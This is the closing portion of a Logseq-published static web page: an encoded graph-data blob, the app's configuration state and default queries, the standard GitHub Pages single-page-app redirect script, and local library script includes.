speechlogseq____&quot;,536874642]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Flogseq____&quot;,544,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Xlogseq____&quot;,354,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Vlogseq____&quot;,544,536874616]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874642]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b994ed-3649-45fb-8758-1b849b851990logseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Communicated via Audio Volume Settinglogseq____&quot;,536874652]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Flogseq____&quot;,545,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Xlogseq____&quot;,354,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Vlogseq____&quot;,544,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874652]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99519-6713-4168-8973-14bb3cc6d208logseq____&quot;,536874645]]]]]]"</script>
<script>window.logseq_state="{:ui/theme \"light\", :ui/sidebar-collapsed-blocks {}, :config {\"local\" {:feature/enable-whiteboards? false, :shortcuts {}, :graph/forcesettings {:link-dist 140, :charge-strength -800, :charge-range 1300}, :default-templates {:journals \"\"}, :feature/enable-journals? false, :query/views {:pprint (fn [r] [:pre.code (pprint r)])}, :macros {}, :shortcut/doc-mode-enter-for-new-block? false, :favorites [], :ui/show-empty-bullets? false, :file/name-format :triple-lowbar, :preferred-workflow :now, :publishing/all-pages-public? true, :ref/default-open-blocks-level 2, :feature/enable-block-timestamps? false, :start-of-week 6, :feature/enable-timetracking? false, :ref/linked-references-collapsed-threshold 50, :outliner/block-title-collapse-enabled? false, :commands [], :ui/show-full-blocks? false, :meta/version 1, :hidden [], :default-queries {:journals [{:title \"🔨 NOW\", :query [:find (pull ?h [*]) :in $ ?start ?today :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"DOING\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(>= ?d ?start)] [(<= ?d ?today)]], :inputs [:14d :today], :result-transform (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result)), :group-by-page? false, :collapsed? false} {:title \"📅 NEXT\", :query [:find (pull ?h [*]) :in $ ?start ?next :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"LATER\" \"TODO\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(> ?d ?start)] [(< ?d ?next)]], :inputs [:today :7d-after], :group-by-page? false, :collapsed? false}]}, :ui/auto-expand-block-refs? true, :ui/enable-tooltip? true, :query/result-transforms {:sort-by-priority (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result))}, :graph/settings {:builtin-pages? false}, :property-pages/enabled? true, :block/content-max-length 10000, :ui/show-command-doc? true, :feature/enable-search-remove-accents? true, :default-home {:page \"Topics\"}}}}"</script>
<script type="text/javascript">// Single Page Apps for GitHub Pages
// https://github.com/rafgraph/spa-github-pages
// Copyright (c) 2016 Rafael Pedicini, licensed under the MIT License
// ----------------------------------------------------------------------
// This script checks to see if a redirect is present in the query string
// and converts it back into the correct url and adds it to the
// browser's history using window.history.replaceState(...),
// which won't cause the browser to attempt to load the new url.
// When the single page app is loaded further down in this file,
// the correct url will be waiting in the browser's history for
// the single page app to route accordingly.
(function(l) {
if (l.search) {
var q = {};
l.search.slice(1).split('&').forEach(function(v) {
var a = v.split('=');
q[a[0]] = a.slice(1).join('=').replace(/~and~/g, '&');
});
if (q.p !== undefined) {
window.history.replaceState(null, null,
l.pathname.slice(0, -1) + (q.p || '') +
(q.q ? ('?' + q.q) : '') +
l.hash
);
}
}
}(window.location))</script>
<script src="static/js/react.production.min.js"></script>
<script src="static/js/react-dom.production.min.js"></script>
<script src="static/js/ui.js"></script>
<script src="static/js/main.js"></script>
<script src="static/js/interact.min.js"></script>
<script src="static/js/highlight.min.js"></script>
<script src="static/js/katex.min.js"></script>
<script src="static/js/html2canvas.min.js"></script>
<script src="static/js/code-editor.js"></script>
<script src="static/js/custom.js"></script>
</body>